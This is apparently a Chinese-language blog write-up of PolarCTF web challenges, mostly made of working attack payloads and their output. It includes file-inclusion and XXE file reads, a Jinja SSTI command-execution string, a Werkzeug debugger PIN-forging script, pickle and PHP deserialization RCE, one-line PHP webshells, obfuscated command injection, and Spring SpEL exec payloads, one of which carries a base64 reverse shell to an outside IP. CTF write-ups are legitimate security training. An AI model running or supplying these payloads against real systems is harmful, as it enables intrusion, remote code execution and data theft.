PolarCTF WEB 题解(02)
签到题
100 分 1 Polar币
界面如下,源码中没有啥信息:
我是一个什么都不会的出题人,我啥也不知道,我只知道你不是我可耐的弟弟-。-
响应标头中有一个信息:
set-cookie: didi=no
更改为didi=yes,再查询一下,得到信息: Li9kYXRhL2luZGV4LnBocA
┌──(kali㉿kali)-[~]
└─$ echo Li9kYXRhL2luZGV4LnBocA|base64 -d
./data/index.php
/data/index.php
界面:
<?php
error_reporting(0);
file =_GET['file'];
if(!isset(file))file = '1';
file = str_replace('../', '',file);
include_once($file.".php");
highlight_file(__FILE__);
?>
双写../ 绕过替换掉,payload:
一层一层目录尝试,文件名知道是flag则好,否则要尝试flag.txt、flag.php 就麻烦了一些。
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
#直接/flag也可以:
/data/index.php?file=php://filter/convert.base64-encode/resource=/flag
xxe
300 分 3 Polar币
首页,phpinfo看到
DOM/XML | enabled |
---|---|
dirsearch -u url
[00:32:15] 200 – 995B – /dom.php
/dom.php
POST:
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flagggg.php">]>
<root>&file;</root>
SSTI
300 分 3 Polar币
?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}
flask_pin
500 分 5 Polar币
dirsearch -u url
/console
/file?filename=/etc/passwd
┌──(kali㉿kali)-[~]
└─$ whatweb http://16e1a677-ea5d-421f-ba1f-ef311179632b.www.polarctf.com:8090/
http://16e1a677-ea5d-421f-ba1f-ef311179632b.www.polarctf.com:8090/ [500 Internal Server Error] Country[CHINA][CN], HTTPServer[Werkzeug/1.0.1 Python/3.5.10], IP[1.95.36.136], JQuery, Python[3.5.10], Script[text/javascript], Title[NameError: name 'Hello' is not defined // Werkzeug Debugger], Werkzeug[1.0.1], X-XSS-Protection[0]
由于是python3.5(报错页面获得),PIN加密方式是MD5。(3.6及以下MD5,3.8及以上sha1)
这里有个坑点,Flask下的werzeug版本在在2020年1月5号就发生了更新,代码发生了变化,因此要再读取到machine_id()的值的话需要先读取/etc/machine-id,再读取/proc/self/cgroup,并将第一个获取到的值与第二个获取到的id值进行拼接。https://cloud.tencent.com/developer/article/1657739
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py'# getattr(mod, '__file__', None),
]
private_bits = [
'2485376940772', # ?filename=/sys/class/net/eth0/address 02:42:ac:02:7a:e4 0242ac027ae4 16进制转10进制
# 'c31eea55a29431535ff01de94bdcf5cf' #/etc/machine-id 备用
# '/docker/156954c7a418baccb33dbbe19c2aea65d9fda8703c38be723970b7e3a4c1d0fb' #/proc/self/cgroup 备用
'c31eea55a29431535ff01de94bdcf5cf156954c7a418baccb33dbbe19c2aea65d9fda8703c38be723970b7e3a4c1d0fb' #/etc/machine-id + /proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
842-958-352
#不同启动实例不同,这不通用
/console
输入pin
#控制台输入如下命令:
import os
os.popen('ls').read()
os.popen('ls /').read()
os.popen('cat /flaggggg').read()
output:
[console ready]
>>> import os
>>> os.popen('ls').read()
'app.py\n'
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nflag.sh\nflaggggg\nhome\nlib\nlib64\nmedia\
>>> os.popen('cat /flaggggg').read()
'flag{873894c49201cd995ee2c52e6270630d}'
>>>
unpickle
300 分 3 Polar币
cookie user
generate value :
import pickle
import base64
import requests
class RCE:
def __reduce__(self):
return eval, ("open('/flag','r').read()",)
# return eval, (f"__import__('pickle').loads({f})",)
a = RCE()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))
print(payload)
签到
100 分 1 Polar币
删除submit disabled项
session文件包含
100 分 1 Polar币
看代码,找漏洞
?file=php://filter/convert.base64-encode/resource=action.php
POST: name=<?php @eval(_POST['cmd']);?>
?file=/tmp/sess_tue09ggom8bkshcqrjrb0lm3t6
POST: name=<?php @eval(_POST['cmd']);?>
POST: name=<?php system('ls /');?>
POST: name=<?php system('cat /flaggggg ');?>
cmd=system("cat /flaggggg |base64");
因为没有换行,只有回车,所以普通的显示时显示不出来,被回车回前面了。
POST: name=<?php echo 'aa';@eval($_POST['cmd']);?>
Don’t touch me
100 分 1 Polar币
扫描目录发现 2.php 3.php
2.php按钮可以修改为enable
3.php 中注释发现 fla.php
veryphp
500 分 5 Polar币
└─$ whatweb http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090/
http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090/ [200 OK] Apache[2.4.23], Country[CHINA][CN], HTTPServer[Unix][Apache/2.4.23 (Unix)], IP[1.95.36.136], PHP[7.0.9], X-Powered-By[PHP/7.0.9]
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',str)){
die("I am sorry but you have to leave.");
}else{
extract(_POST);
}
if(isset(shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./',shaw_root)&& strlen(shaw_root)===29){
echohint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if(ans===SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
} Almost there.
阅读源码,可以构造shaw_root变量,通过POST提交, 才能得到提示,但是要求构造的变量符合如下条件:
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./',shaw_root)&& strlen(shaw_root)===29){
echohint;
}
解决正则表达式:
^\- : 要以-开头, 暂且例如: -
[a-e]: a-e之间的一个字符,暂且例如: a
[^a-zA-Z0-8]: 非a-zA-Z0-8的一个字符,暂且例如: 9
<b>: <b>, 暂且例如:<b>
(.*): 任意字符任意个数,暂且例如: AA
>{4}: 4个>,暂且例如: >>>>
\D*?: 非数字字符任意个,?表示非贪婪模式。暂且例如: AA
(abc.*?):abc接任意字符任意个数,?表示非贪婪模式。 暂且例如:abc__
p: p, 给出: p
(hp)*: hp任意次数重复,暂且给出: hphp
\@R:@本身无需转义,转义还是@,给出:@R
(s|r): s或r, 给出s
.$ : 最后是一个任意字符,给出 A
全部拼接为:-a9<b>AA>>>>AAabcAAphphp@RsA ,长度为28字符
因此那些可重复的字符调整一下,长度为29即可。
例如:
-a9<b>AA>>>>AAAabcAAphphp@RsA
<?php
hint="Well done!";shaw_root="-a9<b>AA>>>>AAAabcAAphphp@RsA";
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./',shaw_root)){
echo "OK\n";
}
echo "len=".strlen(shaw_root)."\n";
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./', shaw_root)&& strlen(shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
?>
-a9<b>rrrrr>>>>RabcRphphp@Rrr
-a9<b>AA>>>>AAAabcAAphAAAphp@RsA
-a9<b>AAAAA>>>>AabcAphphp@RsA
构造字符和网上的通过的也过不去,可能是hackbar 发送POST body增加了一行导致,
用burpsuit抓包,会增加
<b\>
用yakit抓包,手工去掉最后一样,发送成功了。
POST / HTTP/1.1
Host: 5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Referer: http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090/
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Pragma: no-cache
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 41
shaw[root=-a9<b>AA>>>>AAAabcAAphphp@RsA
返回结果:
Here is a hint :
md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f &&
strlen(SecretNumber)===5
爆破一下:
<?php
SecretNumber=10000;
while (SecretNumber <99999 ){
if (md5("shaw".(SecretNumber)."root")=="166b47a5cb1ca2431a0edfcef200684f"){
echoSecretNumber;
exit;
}
SecretNumber=SecretNumber+1;
}
?>
output:
21475
因为源码中有一个类可以调用,构造payload
shaw[root=-a9<b>AA>>>>AAAabcAAphphp@RsA&ans=21475&my[ans=qwq::oao
执行得到config.php结果:
<?php
hint = 'Here is a hint : md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen(SecretNumber)===5';SecretNumber = "21475";
$Ture_f14g = "flag{d66c779bdd97750eb2b0a6a34384b901}";
?>
BlackMagic
300 分 3 Polar币
strTmp= xxxxx…xxxxx
反序列化
300 分 3 Polar币
https://www.bejson.com/runcode/php/
unserialize
class example{
public handle;
function __construct(){this->handle = new process();
}
}
class process{
public pid;
function __construct(){this->pid = "phpinfo();";
}
}
test = new example();
echo serialize(test);//打印payload
?>
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:15:"system('ls /');";}}
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:15:"system('ls /');";}}
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:14:"system('env');";}}
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:17:"system('whoami');";}}
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"system('echo $FLAG');";}}
#以下环境变量中取,提交不对
flag{4388f834-8723-4bca-b8c1-6fd53cd47b55}
flag错误,请检查仔细后提交。
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:27:"system('ls /var/www/html');";}}
flag.php index.php
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}
输出注释中有flag..
毒鸡汤
500 分 5 Polar币
扫描目录
robots.txt –> hint.txt
www.zip
?readfile=/flag
upload tutu
500 分 5 Polar币
综上他需要两张md5值相同的图
找工具 fastcoll 可生成两个md5值相同的文件
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
照一张图片,我是直接将之前测试的一句话木马换了后缀改成了 test.jpg,然后会生成两个md5值相同个图片,分别上传到两个上传文件的位置得到flag
fastcoll_v1.0.0.5.exe -p D:\download\aaaa\gsl.png -o D:\download\aaaa\md1.png D:\download\aaaa\md2.png
Unserialize_Escape
500 分 5 Polar币
“;i:1;s:6:”123456″;}
共20个字符,我们只需要在前面放上20个x变成20个yy。这样就能达成溢出的目的。
xxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456″;}
<?php
function filter(string){
return preg_replace('/x/', 'yy',string);
}
username = 'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';password = "aaaaa";
user = array(username, password);r = filter(serialize(user));
echor;
echo "\n";
echo unserialize(r);
echo "\n";
echo unserialize(r)[1];
?>
a:2:{i:0;s:40:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
Array
123456
robots
100 分 1 Polar币
/robots.txt
找找shell
300 分 3 Polar币
shell.php
┌──(root㉿kali)-[~]
└─# echo PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==|base64 -d
<?php @eval($_POST['usam']); ?>
usam=system("ls /");
usam=system("env");
WD=/var/www/html FLAG=flag{3f2664f6-b375-4671-b9b4-0fa5b8026d01}
提交通不过
zheshiflag.php
usam=system("cat zheshiflag.php");
flag{2591c98b70119fe624898b1e424b5e91} 这个可以
自由的文件上传系统
500 分 5 Polar币
?--> !
不能用有问号的木马
<script language="php">@eval($_POST['pass']);</script>
/sectet_include.php?file=upload/5744893807
pass=system("ls /");
pass=system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");
再来ping一波啊
300 分 3 Polar币
?ip=127.0.0.1;echoIFS9PATH
cat index.php
echoIFS9Y2F0IGluZGV4LnBocA==IFS9|base64IFS$9-d|sh
┌──(root㉿kali)-[~]
└─# echo Y2F0IGluZGV4LnBocA==|base64 -d
cat index.php
wu
300 分 3 Polar币
【2023秋季个人挑战赛】
<?php
function judge(c)
{
if (preg_match("/[0-9]|[a-z]/i",c)) {
return false;
}
return true;
}
function print_exp(system_str,payload)
{
print("\_=" .system_str . "\__=payload" . (";\_(\$__);")."\n");
return "\$_=" .system_str . "\__=payload" . (";\_(\$__);");
}
//要执行的命令shell = "'" . ("ls") . "'";
result1 = "";result2 = "";
for (num = 0;num <= strlen(shell);num++) {
for (x = 33;x <= 128; x++) {
if (judge(chr(x))) {
for (y = 33;y <= 128; y++) {
if (judge(chr(y))) {
f = chr(x) ^ chr(y);
if (f == shell[num]) {
result1 .= chr(x);
result2 .= chr(y);
payload = "('" .result1 . "'^'" . result2 . "')";
break 2;
}
}
}
}
}
}system_str = "('(\"((%-'^'[[[\@@');";
_ = ('("((%-' ^ '[[[\@@') . ('(') . ('[,([' ^ '|@[|') . (');');exp = print_exp(system_str,payload);
echo "\nurlencode:\n";
echo urlencode($exp);
?>
run PAYLOAD:
#ls
?a=_=('("((%-'^'[[[\@@');__=('[,(['^'|@[|');_(__);
index.php zheshiflag.php
直接访问地址,得到flag,但试图payload,a=cat xxx,老是报错,不知道何故!!!
/zheshiflag.php
如下不灵
$shell = "'" . ("cat zheshiflag.php") . "'";
--->
$_=('("((%-'^'[[[\@@');$__=('[#!(@!(%(()&,!'+(+['^'|@@\`[@@[@@@@@@[@[|');$_($__);
urlencode:
%24_%3D%28%27%28%22%28%28%25-%27%5E%27%5B%5B%5B%5C%40%40%27%29%3B%24__%3D%28%27%5B%23%21%28%40%21%28%25%28%28%29%26%2C%21%27%2B%28%2B%5B%27%5E%27%7C%40%40%5C%60%5B%40%40%5B%40%40%40%40%40%40%5B%40%5B%7C%27%29%3B%24_%28%24__%29%3B
php very nice
100 分 1 Polar币
https://www.bejson.com/runcode/php/#google_vignette
<?php
class example{
public sys;
function __construct(){this->sys = "phpinfo();";
}
function __destruct(){
eval(this->sys);
}
}test = new example();
echo serialize($test); //打印payload
?>
O:7:"example":1:{s:3:"sys";s:10:"phpinfo();";}phpinfo()
O:7:"example":1:{s:3:"sys";s:13:"system('ls');";}
?a=O:7:"example":1:{s:3:"sys";s:23:"system('cat flag.php');";}
ezupload
100 分 1 Polar币
mm.gif –> mm.php
mm.php:
<?php eval($_POST["pass"]);?>
payload:
pass=system("cat ../flag.php");
ezjava
500 分 5 Polar币
【2023秋季个人挑战赛】 flag在/app/flag.txt
/SPEL/vul?ex=S
#没有输出
└─echo -n "ls / " |base64
bHMgLyAg
?ex=T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bHMgLyAg}|{base64,-d}|{bash,-i}")
#没有输出
└─ echo -n "cat /app/flag.txt "|base64
Y2F0IC9hcHAvZmxhZy50eHQg
?ex=T(java.lang.Runtime).getRuntime().exec("bash -c {echo,Y2F0IC9hcHAvZmxhZy50eHQg}|{base64,-d}|{bash,-i}")
#只输出第一行,其他行暂时没法显示
?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","ls /app"}).start().getInputStream(),"utf-8")).readLine()
#需要出网,参考
└─# echo YmFzaCAtaSa+JiAvZGV2L3RjcC8zOS4xMdcuMTEzLjI1MC85MDAyIDA+JiE=|base64 -d
bash -i&dev/tcp/39.113.250/9002 0>&!
?ex=T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSa+JiAvZGV2L3RjcC8zOS4xMdcuMTEzLjI1MC85MDAyIDA+JiE=
}|{base64,-d}|{bash,-i}")
#还是这个好使
?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(),"utf-8")).readLine()
代码审计1
300 分 3 Polar币
?sys=system&xsx="ls"
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
cookie欺骗
100 分 1 Polar币
修改cookie user=admin